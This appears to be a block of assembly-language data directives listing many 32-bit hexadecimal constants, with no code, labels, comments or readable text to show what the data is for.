dd 0CD3C58A6h, 62882E47h
dd 9DB86AFAh, 1AB85FA6h, 0D33AAFB5h, 855570F8h, 4C42ACEBh
dd 3D267209h, 0BE2993BDh, 0D012CEBAh, 4F31E732h, 459F627Bh
dd 47A2366Eh, 0E1294138h, 4A41F462h, 3020114Ah, 0FA4864C4h
dd 0A964472h, 0EA1C43C8h, 0DB5F3B42h, 0DE9DF140h, 0EF4366D2h
dd 587DBB17h, 2C88D83Ch, 5D02185Fh, 0CFA38C57h, 40D68C25h
dd 0D6F87581h, 1A777FA9h, 6CD3FC9Ch, 615E30B9h, 3615ACA7h
dd 71337C55h, 5788A387h, 54041E6Dh, 0EFFA9DC3h, 456B1566h
dd 0F8B3C09Ch, 80A0182Dh, 0EF0FD99h, 54F797FEh, 0D1D97932h
dd 0BD6365F7h, 7A409860h, 0AC486F9Dh, 0D934087Bh, 82AA98D6h
dd 4E2D2965h, 4A63CE35h, 77DBA6EEh, 6DC09478h, 27EEF4B6h
dd 9D6C8393h, 0D47805DFh, 0D02794B1h, 732FA5C3h, 9C3907E7h
dd 0A2C486E7h, 0F6186E63h, 323B2971h, 3B52028Eh, 0E42E6A2Fh
dd 2AA55424h, 71CA5762h, 26822F32h, 4064B5CFh, 0B7F9AA8Fh
dd 0D7BB3A3h, 0C686BF39h, 0A6B4BE78h, 2D348075h, 0BEE33B9Ah
dd 88D6EC8Fh, 211D9D75h, 0B2CA4033h, 7E147091h, 0FD139772h
dd 2A0E6BB2h, 3424BC5Bh, 84FF1A6Dh, 34B6E29h, 2857F70Bh
dd 0FA2D2DB5h, 6969D961h, 0AB0021C1h, 0ACBDD9EDh, 9739494Eh
dd 0BA32FCF2h, 0CCD6A0D6h, 0B5671C6Bh, 0A1C074A7h, 0B46A6C75h
dd 0A92150A7h, 0B9177793h, 0EAD0DA12h, 8996E97Eh, 3930730h
dd 5C50B5D5h, 0B17693E6h, 0A64ABCFAh, 11541938h, 64CA5297h
dd 0BBD305C1h, 26A20C27h, 0C6397AC2h, 0E1A668D0h, 0FC27F96Fh
dd 630A2026h, 9013BDDBh, 74D7669h, 0B5658BF9h, 3C647CF8h
dd 752D2290h, 84C6B24Eh, 0F32714DDh, 9C7D4A69h, 80352AA2h
dd 1DC44827h, 9B07DAC3h, 0B7E978A1h, 26A0A933h, 1785559Ch
dd 0EBAD5F57h, 76C3D3E3h, 552A7D15h, 40D10FC9h, 85472CD6h
dd 0A41C5608h, 7581A29Eh, 6281B339h, 0E3E3F3B5h, 3402152Fh
dd 95102052h, 0F22D9902h, 0AAC37DC0h, 303D24BCh, 0DFDE5C7Ah
dd 0ED8EFC63h, 5353D186h, 749BD706h, 78F1AE6h, 1A578876h
dd 0A06E8C32h, 0F0AEFBE1h, 0F9583B76h, 6A450509h, 40F8F373h
dd 0BD32CDB5h, 0EFCF8CCCh, 22D41525h, 1EA8D954h, 0EC6A4BC4h
dd 0A26AABF1h, 0FF8F99F3h, 0D8DD5F57h, 0FD075637h, 0EEDA5CFAh
dd 2D6F1547h, 0D3D6EDE1h, 1A54D0F8h, 20342470h, 752204DDh
dd 0DCC64D95h, 86E82D9Fh, 71669E33h, 0F4A9E0CDh, 53189C66h
dd 5497B0C1h, 4EB1E7E5h, 0C38D6B7Ah, 4B95D16Eh, 54E979E8h
dd 88276B35h, 5799C07Fh, 0FBF5E918h, 0CF092B34h, 1CFCD2D3h
dd 0A1934F3Eh, 0E5BEA480h, 0BF13D647h, 0B430F5ECh, 7EFCF40Fh
dd 0AB7FB1C7h, 0BC0A57FAh, 6E98C9Ch, 9D278657h, 0F074A9F9h
dd 0D55755D5h, 1F8580F5h, 0CD83FEB6h, 92BBEFEEh, 0D6F44847h
dd 740A8B7Eh, 5FA82E2Dh, 6D5C9130h, 790BD4AEh, 85EAB50Eh
dd 2521E56h, 0BB0484CCh, 8622BD45h, 3A0FD0BBh, 0CBB7A979h
dd 0A82FA12h, 9696AD81h, 6D0B90CAh, 0A7459766h, 667405EFh
dd 0F86428CFh, 0B7D6F9C0h, 33A02F3Fh, 7B7E7E15h, 2D0AF50Ch
dd 91DFF41Fh, 630C2BA4h, 0FA4658D6h, 35DEA5CCh, 4D5494FCh
dd 8242BE03h, 5D73720Ah, 0EE4998D4h, 7CD690AAh, 7EAED8B3h
dd 0C3ECEF29h, 0EFB53BABh, 76ECA37Ah, 21500F35h, 0C19F6460h
dd 0CA27C060h, 46F1A14Fh, 7BF611D7h, 4FCF6B73h, 13D462E6h
dd 2060AB35h, 5CC4565h, 0B4A944AAh, 0C5FEF0F8h, 0A360D98Fh
dd 43453840h, 4638FC86h, 0E01CBE22h, 0F895809Ch, 7897DF0Eh
dd 1FE204AEh, 0FC076EC2h, 0C2D5E145h, 8D6867EEh, 0F7138F63h
dd 0A8A0D23h, 94C092F0h, 9F87BFD8h, 0A312DC1Ah, 0A17F2647h
dd 8991A6CDh, 600C74F9h, 7B06B2F1h, 87088FB5h, 0D28BE449h
dd 9B657792h, 0E02011B7h, 27DF51Ch, 0D272E476h, 488EF3E8h
dd 8429EC30h, 9AB98F83h, 6DD257FBh, 43FCEA76h, 2DC2C7A9h
dd 0ABD1C130h, 0B6C98F5h, 4BAC9688h, 0D5D3C663h, 0C5B3E3FBh
dd 2A8764E5h, 0F229EB49h, 119A2D19h, 2B008BBBh, 0D527018Ah
dd 0CD9DACEEh, 0A816A30Eh, 69CC9430h, 0F3240CB4h, 0C4066D25h
dd 7D62E5DAh, 1BFCABC5h, 0AF0AED12h, 0B3992339h, 0C287BF4Ah
dd 0B3BB4B2Eh, 608F6564h, 0F11A149Ch, 0F507CCDh, 0DB199C4Eh
dd 0D55A2577h, 147AA3B7h, 5740F82Eh, 49A4D66Fh, 0CA2F31FFh
dd 0F892C929h, 0EC62B5FAh, 0B2CE266h, 0C503DF1Ch, 3AF237E7h
dd 0CB2EA433h, 0FB764C1Ah, 0E0E3736Ch, 44978231h, 9B5DF671h
dd 5F14003Bh, 9540548Bh, 3F41BFBAh, 6A420C1Eh, 938939FAh
dd 0A0E28AC7h, 0CD34CCA2h, 0BA0FB349h, 9F4490D5h, 683AB84Eh
dd 0B9186292h, 0C53451A5h, 3270C705h, 0DA2774ECh, 944F9FB2h
dd 5ED0978Bh, 20A03759h, 41011D04h, 0BE714F6Bh, 40214F46h
dd 462F060Ch, 7DC93A02h, 0D6168907h, 0D9AB2CA2h, 55F3D551h
dd 724EC9C4h, 4B648B08h, 6042FF7Ch, 0E9C9144Dh, 3A941D38h
dd 2E2A6C8h, 668B7680h, 120FF2A7h, 0DEC03AF0h, 8708B0B5h
dd 8C2B1656h, 0A6C98520h, 418199h, 0E10877B5h, 0A0AF3812h
dd 22835932h, 3DA80E82h, 9B968B06h, 3212CDEEh, 7BB27CADh
dd 3EF843E4h, 3F9D3658h, 0A24896B3h, 0FFFA441Ch, 0A19839CFh
dd 0BAA4BFB8h, 4005AEB9h, 0CF8050C8h, 0AE7D2608h, 4FEEFE6Eh
dd 8A0D4385h, 8EA80452h, 0A9D0A17Ch, 30014E50h, 8B05309Bh
dd 227EF3DDh, 6D0407B3h, 0EC1C77A6h, 0E6E1B488h, 0F7D1C97Bh
dd 0A10EE663h, 0D33657E8h, 38E855Fh, 0DCDE63D9h, 221135C2h
dd 3A680006h, 7D3A86C4h, 0B3E1ABFCh, 0AF2C47F2h, 8A41F4EDh
dd 5FECF3A3h, 0CA04EC9Ah, 0F0CC8345h, 357CEDBCh, 86545065h
dd 2FD1C55Bh, 0BE7926D3h, 6DD634CBh, 0DCA9E756h, 98073169h
dd 0D7722CC7h, 729BF503h, 6D4C28CFh, 1443767Eh, 93E3C3EFh
dd 2FD95AFDh, 0CB6E1D8h, 9F31FA27h, 2858C381h, 2C1C5888h
dd 9BC3DCE6h, 0CE9BC8A6h, 0C892BAAAh, 0D7E0D005h, 0DD07A12Eh
dd 92382D20h, 0DED7B449h, 0F708BEE4h, 109ED12h, 0DCA69BF3h
dd 3C8570A2h, 0D0DE926Bh, 8327C7E4h, 0EB5CA063h, 7E36A41Ah
dd 4C507ED9h, 2ADB3EBh, 7A3FAA31h, 642C944Ch, 0A066BEF6h
dd 1ED32797h, 2864F23Dh, 54247170h, 2F5834A9h, 0D9D55A29h
dd 0BC4AE684h, 336EAD03h, 4C7C7EB6h, 991FBC23h, 0CE04B17h
dd 46AF7E23h, 5EA466C8h, 6FE40342h, 9937B7C4h, 0D801A400h
dd 1DBD469Fh, 6170746Fh, 612E1BC4h, 2729B6A6h, 0B3D3F0F6h
dd 58F1AEh, 7D5B471Ah, 0AA6DBF10h, 0C31196DBh, 5381996Eh
dd 0C49CB9DAh, 0C38B7AC4h, 798EB26Eh, 452A484Ch, 20010F25h
dd 378A326Fh, 0D290183Eh, 1F9E3B0h, 0DE0B618Fh, 58E2F186h
dd 638A0C3Ah, 3D90EB73h, 65B9B07Bh, 0F2E692EEh, 382805F6h
dd 7AFBDC22h, 6D2C3239h, 166E2330h, 0DBFF2E54h, 0A6538CFBh
dd 0F82A4476h, 0C422A284h, 0D944744Eh, 42A79109h, 519A17DEh
dd 0A44B1031h, 0D5C53118h, 547EE6D4h, 56FCF8FFh, 4EFD2275h
dd 3D1E3C9Ch, 0F2AAFA2Ch, 49351EF3h, 9166BC2Ah, 1DDCEBA8h
dd 6312105Eh, 509F34E2h, 1FCC4D05h, 5AA01AD3h, 0B58B5C7Eh
dd 286481A5h, 3D3A79C8h, 25DBCCDAh, 0BD494B2h, 0C098D729h
dd 73AC88B1h, 58D0465Fh, 42C7C48Dh, 5A1FC8CBh, 400F5C3Eh
dd 0C1462A13h, 3A9E9440h, 0D06889F9h, 9554D057h, 0F76728A1h
dd 6932A3E7h, 15451290h, 47004160h, 0F39BBE62h, 4DDE45ECh
dd 2CF153BDh, 6DC68EE1h, 6F4E6F9Ch, 0F4E456DCh, 3920273Fh
dd 0BF32549Fh, 0F5F01832h
dd 2A7BC647h, 1E615EFBh, 43F5F2CFh, 23F130EEh, 0ABCAE563h
dd 3FE4697h, 1C1EA8ABh, 77A0F66Ah, 2F44E5E5h, 0DE8DAD76h
dd 8064BAE0h, 302B3AB5h, 6BF9B905h, 527C2C3Dh, 8FAF6772h
dd 8FF9B4EAh, 0F47286D8h, 0D7F8985Ch, 5E55CFBAh, 8B21E4A2h
dd 9FCF42BBh, 6E5F39FFh, 907280D5h, 4490B034h, 0BDA84E57h
dd 72F5FFBh, 273CDC5h, 530A86A7h, 0A4CBA2A3h, 4844B710h
dd 0AE0A0C73h, 84F55753h, 4DB844E3h, 172B6E8h, 6443009Eh
dd 964E5606h, 52AC84E8h, 532AD96Fh, 31ABFEFh, 956D2C76h
dd 0C2FABFB3h, 90043DDEh, 423C6CBDh, 0C6EDDD93h, 0DB4150BEh
dd 4397EC78h, 0A5A6F2BDh, 0CFD0C8E6h, 0B72BC42Dh, 0BFCA7765h
dd 0C584BD35h, 4EFABE4h, 8CEB22FBh, 354FB535h, 782C8D26h
dd 546C314Dh, 31114E91h, 23AD87B9h, 263CA3A7h, 0DC0CC3DBh
dd 0E8CCADE6h, 0FF2374h, 74CE6E2Fh, 0C02CA927h, 7475EBCCh
dd 788E062Eh, 2ACA9A9Fh, 0B023AC15h, 9A5BD9C4h, 0E6D8C06Fh
dd 72205E29h, 2D5B6079h, 74DDA835h, 3F3D4C83h, 0D8CC046Ah
dd 32E86B4Dh, 0C94BCF30h, 0D66B4813h, 0DF79DF14h, 62203740h
dd 33428D00h, 78F5595h, 2CD2E178h, 79005A85h, 2FA8CEA7h
dd 0BB23D68Ah, 0FA2AE099h, 5F8CDDE4h, 0C45AB51Bh, 0F4EE2FF4h
dd 6209B68Dh, 0AE4DCC4Fh, 0B19792D4h, 914F1FF6h, 0CEABFC65h
dd 0F44EFB00h, 0BFEB5F7Eh, 0D7D6A33Bh, 47EE4A58h, 0A537F95Dh
dd 0F9303397h, 58DB840Dh, 79958282h, 91201F99h, 909B0B51h
dd 62968C4Fh, 0F7417960h, 9184109Eh, 3E08B815h, 761BFDE4h
dd 12E8C8C8h, 0B4B379E4h, 0F279D59Dh, 0A9B0918Eh, 8AB58C26h
dd 4694EC95h, 0EDC53B5Eh, 15858AE5h, 43F51B8Ch, 7852080Eh
dd 0D98681Ch, 0CCC7DC12h, 6F61441Dh, 1EA9C0F9h, 24902DA6h
dd 3E3C793Dh, 9C3EBF20h, 0D63B0E2Bh, 4A59BB0h, 0FAD3997Ah
dd 0CA031CCFh, 0EC7A53AFh, 72E42FE3h, 1ED99D7Fh, 9A0B6D60h
dd 0DE258254h, 9901D33Fh, 0E067CBD5h, 0C56B6B26h, 0FEA38ED5h
dd 4476C1Bh, 96B7B7h, 8BBE66F4h, 22F3163h, 473BD3C7h, 0E09E34D7h
dd 4CD623Eh, 0E44B0DE7h, 8FD65B0Fh, 82F434C9h, 0D0D472Ch
dd 0CDC31270h, 0A0FC99C3h, 4F79EB48h, 0A38751F1h, 2B905DE3h
dd 7E01E33Fh, 3B7BC10Bh, 0CDA84656h, 3FDD6075h, 5EFF8437h
dd 7B59DC4h, 309FAF05h, 171AAAFAh, 0DD3C96F5h, 93380732h
dd 0EDA94342h, 9CE5B73Dh, 48B05158h, 0BB098394h, 68F08D6Bh
dd 0B5792A53h, 0B36852B4h, 31343754h, 595475DFh, 47C4D35Ch
dd 5C683DEDh, 33B670D4h, 8DC39929h, 1056A2C7h, 7EE9FFB3h
dd 9A963DA7h, 0CFF68F04h, 926250C4h, 75E8620h, 0B35C3BECh
dd 6258E46h, 404A5B62h, 81423D54h, 79248CD6h, 0DE30472h
dd 0F0C52786h, 0F4A164DEh, 0DFF3B72Ah, 0B0560619h, 33220C9Eh
dd 19FE148Ch, 55321ABBh, 23A29E37h, 0D8B73F2Bh, 9E8799D3h
dd 2F849B2Eh, 0E51912F2h, 4EF87083h, 5D4CF438h, 339DE327h
dd 32A35194h, 9BED4499h, 9E55000Fh, 22C87FBEh, 2551D9Ah
dd 0A62CBAB0h, 23D0656Eh, 0DF1ADAA5h, 342A1C9h, 0F59216D6h
dd 0B8987C4Ch, 0FEF4EFA8h, 9AFDC363h, 7ACC9C41h, 0C1093382h
dd 838FC15Ch, 1F9D1565h, 0C226369Bh, 1DE91B3h, 0EB5319F3h
dd 0BAFD5BFBh, 0F4F9BCDEh, 0FCAC637Fh, 0A11215F4h, 8D768CBDh
dd 19DC305Fh, 30F9B8CBh, 0A2573800h, 0B9C8F220h, 0CF60B643h
dd 0C9BE7941h, 48B610FAh, 66AD1922h, 163B4C57h, 0E5D3E14Bh
dd 52612E2Ch, 731693D2h, 5AD22E59h, 0A8866950h, 0AF56E5CAh
dd 0B12ACC3Dh, 0CEA67851h, 0BBBAF5A0h, 0B9D5B9E6h, 0F9B32850h
dd 263CD7F9h, 39B4B731h, 8A9C35h, 1711D16Dh, 0F2BA62F6h
dd 0DD7EB738h, 39EAEA48h, 0EF7ED686h, 6555883Ch, 5E6A3141h
dd 3ACE30A3h, 23719E3Dh, 0EB01B1D8h, 0C90EDC9Dh, 8F83F0B1h
dd 5C231388h, 0EC4E18DCh, 0FB4CA88h, 920812A8h, 17484399h
dd 70E8BC2Eh, 0F8158E19h, 2FF6AF0h, 469C53FDh, 0B00C4178h
dd 0ED44BF5h, 945D3978h, 51B85C5Eh, 299E0954h, 0A474D186h
dd 4FC2109Ah, 6127EAA7h, 0ADD00A95h, 0FA774835h, 1A165635h
dd 0D7ABBC3h, 0DD32FFD5h, 0AD6A29FAh, 0A5491154h, 0F1408CD1h
dd 5C00C6D6h, 0E438975Eh, 539F2D57h, 1E6E5C90h, 0FACDF758h
dd 7A13AD57h, 5092BE72h, 623121CCh, 0FFD3BB51h, 587BD7C2h
dd 8D5031E4h, 6F2A2EC9h, 62584784h, 56DDA4D5h, 6304DB24h
dd 422954F6h, 2BEA9E70h, 0FFE9743Dh, 7AD11AF0h, 0F98BEF30h
dd 0F0449DF1h, 0B3FFEEA6h, 19311092h, 0AC92F8D5h, 1638023h
dd 0AFDB51F8h, 0A8960CD2h, 2C9421DCh, 66DA6AAFh, 6A06B3D8h
dd 7BA14A0Dh, 0EA03BCDAh, 663A103h, 4A260D4Bh, 7045BEF8h
dd 2E5DB564h, 9179EFABh, 639FCB95h, 0DC88178Fh, 56DBC1FAh
dd 95818289h, 118C0B81h, 15245851h, 3E3830E6h, 0A640ECAh
dd 37107609h, 846D862h, 0FA270C5Ah, 242B7F1Eh, 57204A64h
dd 9EF981A5h, 0E5922D38h, 66DEAA7h, 0B5070DD1h, 0C74BF91Dh
dd 0A321D6BFh, 18B0A0F0h, 441BEC32h, 72C56830h, 0E66353E8h
dd 0D26AF797h, 0C64108A5h, 2C934B65h, 0C7130B09h, 0D3AA14C2h
dd 904C8036h, 5F317F33h, 50F77822h, 259F9EEAh, 5E935813h
dd 0A51F9A74h, 53BCB976h, 3DFB62EDh, 0C2F6FA12h, 0A6AB7C26h
dd 896AB214h, 12CFE6EDh, 5519E699h, 0D01DF0BDh, 8DD9F7EDh
dd 0C1DE7237h, 4FE256E3h, 0C2F0103Ah, 5CF54A06h, 0C9637B8Eh
dd 0F90584ADh, 0A7A14995h, 2CB0322Fh, 0F27E415Eh, 78AC52CAh
dd 114F8D21h, 9951923Bh, 0F009DBBBh, 2F82FAC1h, 0C287E457h
dd 3B943528h, 7326DB9h, 67DD23ABh, 9E8522B5h, 6E3C7DE3h
dd 6F804EB5h, 4D2CBE5Bh, 613AC805h, 0A5CF37C9h, 7F7E6883h
dd 7A2F8F56h, 436197A0h, 0BDFF9750h, 86B1F490h, 0A1E4385h
dd 0B92D7F12h, 45318C2Eh, 0C33E570Fh, 0B7331A8Bh, 0C32E006h
dd 94349943h, 6EB2B595h, 8A0975D3h, 9007069Fh, 0B6D4F7C2h
dd 4E7FC32Bh, 4F30F1E9h, 0EF154A55h, 31496782h, 0AAE5C28Fh
dd 0C0858D20h, 0EC6DA262h, 89886872h, 804A654h, 0E3C92C77h
dd 0CF7BB429h, 82F1918Ah, 37BECC32h, 0E236A1A1h, 0A5CF646Ch
dd 661B53BCh, 8CEAF68Dh, 53834BDh, 0D0A8D44Dh, 0E1936DB8h
dd 7F347D3Ch, 1EF68A3h, 56F1490Dh, 0D9893507h, 0F4AE0A74h
dd 0BFF4849h, 37909C2Ah, 9438BE33h, 0E5D7AB33h, 0D07BAB75h
dd 0CF57EAFAh, 0AB7C2361h, 842F150h, 0DAE3E682h, 53F85E10h
dd 0B8E7232Ah, 0BCE164E2h, 0ABAAEAC4h, 47DC2543h, 272747A5h
dd 7484A64Fh, 0F4599DC3h, 3B020C3Eh, 9F3C0058h, 0EBF3A638h
dd 9F15B0D5h, 0B255EA7Fh, 8CB3CB6Dh, 0E0126FA5h, 0B6424887h
dd 0E62BAA41h, 638AA686h, 3B1DF2BAh, 0FA2ADC9h, 0F5617824h
dd 9248A3D0h, 4DDB5B8h, 9A61B76h, 40A80B07h, 1A9A906Ch
dd 0BFA48EA1h, 81D0A64Fh, 0D37FC609h, 0F3C561DAh, 473ACFFEh
dd 23D2A568h, 5CBDA76h, 0E31089Bh, 9FE8B852h, 15D116A3h
dd 775DD085h, 0E881E1D8h, 49AD98F7h, 6BF40027h, 50F7E925h
dd 69B50D35h, 64A35DAAh, 9C87E37Fh, 302CF1D3h, 70428159h
dd 964B9FAh, 33ADF544h, 337B402Dh, 0DA453806h, 50837B0Bh
dd 9CF4366Ah, 5722218Bh, 32B594C6h, 5BE2508Ah, 0D7E4A698h
dd 746F319Ch, 467BF430h, 4B434395h, 0DB779B6Dh, 43595AEFh
dd 67A73089h, 0AD77E150h, 2F5F78DEh, 0E564DCACh, 22270AA0h
dd 0E1FA637Ch
dd 7EAA31E2h, 1CD3B6F3h, 5AF047DFh, 6F31E4BEh, 5B7A6B9Ah
dd 5DBE3723h, 4B6927D6h, 53F93553h, 1D63CA9Ch, 814349CEh
dd 162E0476h, 36E66D35h, 64D01467h, 97B62113h, 58DE16F6h
dd 0EB72CBB0h, 0A8D863ADh, 2EA4676Ah, 0C6349C43h, 0AE79741Fh
dd 0BB8850C9h, 26189B4Ah, 0C9131B5Eh, 52CA4E86h, 24AB0D44h
dd 74280888h, 0AA26DCD5h, 2C0E2D27h, 4285C6D3h, 0D74FBE0Ch
dd 0DEC1324Ah, 2F7F4FE5h, 8BF02930h, 0CE7573B3h, 5336E2E9h
dd 8C7BC426h, 5BB8268Dh, 7516A811h, 0B531532Ch, 432AAC85h
dd 52FE90FEh, 1F701BA8h, 56511361h, 3E14620Dh, 41FE3345h
dd 0A1399598h, 0EC4E3B16h, 9885296Ah, 0D183A3Ah, 0C1C9E5CDh
dd 0DB7CCDD5h, 0DC052DABh, 599E73CDh, 0FC26D451h, 0A230731Dh
dd 0F19A75E0h, 287F5612h, 670FFD3Eh, 35F57FF3h, 0F56FF5C6h
dd 0FE3EFADFh, 4BE1D4CCh, 75AB988Ch, 356FE7E5h, 5CC19788h
dd 0FF74146h, 6D6ECBD4h, 45A0B529h, 0BD322AE1h, 85FD9ADFh
dd 1EC5034Ah, 0F838419Ch, 38358775h, 0D97E0828h, 0AD350AC6h
dd 5585267Dh, 3C64C5FDh, 1C80535Eh, 0CF543DD9h, 0EEEBBB87h
dd 2906F518h, 0E9BEA624h, 0F456DD2Dh, 5895ED32h, 90B3C041h
dd 0F71A6BB7h, 12A2406Fh, 4FCBD993h, 0D6404809h, 0F6FE5B14h
dd 3DF8F992h, 7B26F1EEh, 0D16B337Bh, 4FBCDBF0h, 9853F062h
dd 1DA44DA7h, 74189BFAh, 290B81C1h, 1412D7B6h, 80BF8BCFh
dd 0D57F5A07h, 95E13379h, 84781C8Ah, 0CF4622C4h, 0AD67F7h
dd 0D10EAA70h, 94B0BDECh, 0D56F3CEFh, 7E8C0051h, 0E9E5C32Eh
dd 0C00AAE66h, 36504C20h, 2CBE1397h, 0BE48533Ch, 96EDEA69h
dd 2204EEF6h, 0A64E8CCEh, 0CD29D5FEh, 0BEBCE29Eh, 4B62FD82h
dd 83AC2156h, 0BCE96797h, 1067FEA5h, 0A304B105h, 5F0B9C91h
dd 0C8C150BCh, 77496C67h, 837FBDE0h, 0BF651677h, 61855062h
dd 9049B8E2h, 1CA26359h, 0C55A5484h, 1C9383B0h, 23129AA4h
dd 70BBF677h, 995695FCh, 75F0DFC2h, 0D4ADEC1Dh, 0E7355CA3h
dd 31E317Ah, 0C3E2B973h, 0E04531DAh, 71FFD11Ch, 85BFE1A6h
dd 33B10AA9h, 4A249EAFh, 0E1718D5Ah, 0DEFCFB5Eh, 0FE0B1C9Ch
dd 6C5213A7h, 45F7395Eh, 353E0248h, 73785FBAh, 209F456Ah
dd 9895B668h, 0EB17C331h, 36779F59h, 0B6199DBEh, 0E185CD22h
dd 16EE0B8Eh, 8C3C4734h, 4732A3B1h, 0E6988183h, 292EB070h
dd 0A5DEEDA8h, 47634444h, 0EFE6A459h, 0B6A38FAh, 0E06FC89Eh
dd 4FE712D9h, 0A048E90h, 947C2E36h, 0D3878B70h, 0A9DC9A08h
dd 2C0890DAh, 0EBA0DFC9h, 0F456D3AFh, 0C9315CB7h, 0FB60F11Fh
dd 2CCA687Eh, 55263D0Fh, 0C24B32DAh, 0A274E1Fh, 28F2499Fh
dd 5A996755h, 3C1410E3h, 933E47EEh, 3BAE4975h, 0FDAA808Fh
dd 0EB821DE0h, 7C1B01ADh, 127AB35Ch, 33F195h, 53F881FAh
dd 0A035BB0h, 653598FAh, 0B6C1DDAh, 81A22CF2h, 2E41F033h
dd 0DCA75F79h, 709A50D4h, 245C8F65h, 0E328A167h, 9C43FFC7h
dd 33A96579h, 5E948FAEh, 0D89B4809h, 65F839Eh, 1BCD26CCh
dd 78AE4C1Bh, 400730E8h, 0E9580C0Eh, 0AF594FAh, 2A3CD6Ch
dd 26EEC26h, 0A9498628h, 0ED99AF03h, 0B0D69708h, 2021Ch
dd 0AA59D412h, 3F5BD654h, 130D8802h, 5BF172BAh, 52ABE7E1h
dd 526929EEh, 95CF5351h, 432BC1FFh, 0FD3FCAADh, 775CF463h
dd 4568B905h, 0EA4C045Bh, 51F90F74h, 9396C4E6h, 653AA88Ah
dd 160AEC04h, 1B312246h, 2D7B57A2h, 8D9F474Bh, 7C3A68F5h
dd 64B8C516h, 5174F268h, 0D0E20000h, 0BC4AB040h, 2B6ABE05h
dd 0EB18FAF3h, 273D4390h, 2E648127h, 0F421DBB3h, 242D736Fh
dd 1362EAB8h, 0BFD76B4Bh, 35049B0Fh, 36A76CC5h, 59809601h
dd 0C26A87F4h, 9CD15182h, 0CD2C85DAh, 5242FC60h, 2B813CDEh
dd 0DBB15569h, 0B3F0CFD6h, 32E7C347h, 7D110259h, 1615E9A7h
dd 0F6408DBDh, 3628C90Fh, 8DDEFB82h, 70DAEBACh, 55BAF661h
dd 159E8A8Eh, 690D1586h, 8BFC32Ch, 94BD86DFh, 0D81AB1BCh
dd 9862C78Dh, 4AA1E975h, 834908A1h, 99F778C4h, 0E81AFE35h
dd 0A42A6868h, 0A8F5690Ah, 8D18930Ah, 99C64636h, 3D020ACBh
dd 0DC1997D9h, 5715D09h, 5DD31ACEh, 0C9648DB7h, 3CBCBC35h
dd 0B13510C2h, 71F9E52Dh, 734F1E16h, 1BFC20FEh, 47EE9F87h
dd 0C232B5EBh, 29410CDEh, 84100BADh, 82E6DCA6h, 0A850B236h
dd 7CA9EB20h, 0C59A4EBDh, 0A0CB7FF6h, 0A43276BFh, 689F6536h
dd 0CB4C7CD2h, 3413931Ch, 0DF63FD8Ch, 0D2BECB9Fh, 4D8E626Fh
dd 2919A6D9h, 138259BFh, 341C146Ah, 0EB00AF63h, 6403D4CFh
dd 14F87365h, 0F2EEB4CBh, 7256F9BEh, 0B2E00BAh, 0F9D6A15h
dd 5AF1F789h, 34873ACDh, 1D72400Fh, 482CADD3h, 969D7FABh
dd 940CA864h, 0B6A41E2Fh, 724581BEh, 5646B0EAh, 9ED47540h
dd 0D8091422h, 0ADA8DA8Bh, 0B4297A86h, 91493B3Bh, 0D20D1F0Fh
dd 3B0916ABh, 0FCC6E530h, 4F909871h, 0C3B7F621h, 0CBDEAEB8h
dd 0A38AA12Eh, 5F3BEC22h, 0F389465Ch, 174B85A8h, 83055E3Ah
dd 455569E0h, 49214B2h, 0B46224EBh, 7A39E346h, 0CC127D1Bh
dd 30992229h, 63D8DABFh, 0B5FE8D7Bh, 97AA1A06h, 291CEB45h
dd 2B2C5FB1h, 0CC80D9E2h, 0F0CC264Dh, 58BEC3EBh, 0CAE7042h
dd 7BEC0226h, 0AE678FF5h, 5EBDEE63h, 7412736h, 7E40987Ah
dd 0CF92C1C8h, 476A3B26h, 0A3792286h, 824C22FEh, 2B1285ACh
dd 0E6C7C449h, 43EF3740h, 53024117h, 7079EE26h, 0E4F6220Dh
dd 0D6FEFBC2h, 5713C655h, 5B6005D0h, 84A088F6h, 94BB7A6Fh
dd 0D927332h, 54409E48h, 0ED36524Ch, 0BEE56E2Bh, 11664B1Ch
dd 0C6CDE1E3h, 0E14A0922h, 5A924A26h, 139D260Ch, 44F08955h
dd 221BE9C0h, 5389C7D9h, 0DBE6E070h, 254BFF75h, 98340627h
dd 0C647BCDDh, 0E8BAC837h, 670F6E86h, 9DBF582Dh, 0A67B7242h
dd 0D2F74B93h, 0F76FF2B8h, 6ACAB7BDh, 0AA78821Fh, 6F53176Ch
dd 0A77C14Dh, 583CE3ABh, 0C31C210Dh, 9F7AA0DCh, 2237CB54h
dd 0C361709h, 3DCE7510h, 8482E3F1h, 4EFBC941h, 1DD8E1A4h
dd 3D1541BCh, 0ED43AEAh, 0C75CDB90h, 7FE1FB40h, 224E4AD6h
dd 0CC33D9BDh, 4168FFBCh, 314932DFh, 0A35CE7E4h, 0CF7DB74Ch
dd 15050C81h, 0D0D48A58h, 98E4C0DFh, 0C00C1A5Dh, 0CBFA0B63h
dd 3E70056h, 9954A0BCh, 8B675581h, 7675D7B4h, 0A6B307C0h
dd 58665137h, 0A661EF70h, 7AFD36CAh, 0A8761EBBh, 0B1891318h
dd 32C3EC85h, 0B58D3859h, 22F675D7h, 0DC8CE267h, 4578EAB8h
dd 1ED79163h, 0C4491FECh, 0A490EE27h, 76E2D64Fh, 9D5A39F9h
dd 2830B492h, 68C30164h, 5611EC0Dh, 0B2994334h, 35348BFDh
dd 0A72F0E53h, 75F9E406h, 8EE72E2Eh, 8B4FE1B4h, 0D3CE9931h
dd 0D97C8137h, 11BB46D2h, 40B05998h, 48CA3F8Dh, 3E684C7Fh
dd 3B06C78Bh, 1CCDA6FEh, 0AF1B2DA2h, 0A8494AD8h, 0BD26EE19h
dd 0CD7A275Ah, 0F4AFE918h, 0B9B11B0Fh, 7894BF7Ch, 0A39402EFh
dd 3974D48Fh, 947DC0B7h, 1D70764Fh, 50F0D6Ch, 0A411D877h
dd 1B1B6554h, 350BBC64h, 0F978C171h, 0D4BC8489h, 57ED05BCh
dd 0FD0A7996h, 9F12BBFDh, 0F05C8091h, 6915894Ah, 0C32B4DBFh
dd 0B2B82C76h, 560F4959h, 145DA766h, 0B4214B76h, 0AFD49E3h
dd 2BBF3275h, 2AB7EA28h, 0F3FC14A4h, 24C6FC2Eh, 3AF90B03h
dd 0ED543AC5h, 9C500FD2h, 7C3ECB08h, 45E029D1h, 4F34AEA9h
dd 6EC6F149h, 28C1753h, 0FC1DB36Bh, 0FD2B2365h, 8B35079Fh
dd 0CA9DDC7Ch, 0E659718Eh
dd 33A19A0Eh, 0FDBF5D94h, 0E35C312Dh, 61044D7h, 2BE0EF59h
dd 558A2A7Fh, 766956D3h, 0E9E5649h, 1D7D43B0h, 945811EFh
dd 1F5545CFh, 7242D236h, 473E0B89h, 297288DFh, 0FB770022h
